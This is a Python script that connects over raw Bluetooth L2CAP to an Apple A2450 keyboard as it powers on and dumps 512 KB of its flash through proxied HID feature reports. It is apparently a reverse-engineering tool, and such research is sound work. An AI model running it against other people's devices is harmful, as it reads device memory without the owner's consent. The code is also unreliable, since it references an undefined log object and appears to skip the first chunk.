apple-hid-read-flash-bt.py

#!/usr/bin/env python3

import bluetooth
import re
import struct
import sys

if __name__ == "__main__":

  if len(sys.argv) < 2:
    print("Usage: ./apple-hid-read-flash-bt.py <A2450-BT-ADDR>")
    print("")
    print("1. run the script")
    print("2. turn on the keyboard")
    quit()

  addr = sys.argv[1]
  if not re.match(r"^([a-fA-F0-9]{2}:{0,1}){5}[a-fA-F0-9]{2}$", addr):
    log.error("Error! This not look like a Bluetooth address: '%s'" % addr)
    sys.exit(1)

  c17 = bluetooth.BluetoothSocket(bluetooth.L2CAP)
  c17.connect((addr, 17))
  print("port 17 connected")

  c19 = bluetooth.BluetoothSocket(bluetooth.L2CAP)
  c19.connect((addr, 19))
  print("port 19 connected")

  def read_proxied_feature_report(id):
    c17.send(bytes([0x53, 0xff, id]))
    c17.recv(64)
    c17.send(bytes([0x43, 0xf0]))
    return c17.recv(64)

  def write_proxied_feature_report(id, value):
    c17.send(bytes([0x53, 0xff, id]))
    c17.recv(64)
    c17.send(bytes([0x53, 0xf0, id]) + bytes(value))
    return c17.recv(64)

  with open("A2450.bin", "wb") as f:
    offset = 0
    total = 512*1024
    while offset < total:
      print("%02f%%" % (offset/total*100))
      offset += 58
      request = struct.pack(">I", offset)[1:]
      write_proxied_feature_report(0xB6, request)
      res = read_proxied_feature_report(0xB6)
      chunk = res[6:]
      f.write(chunk)

  c17.close()
  c19.close()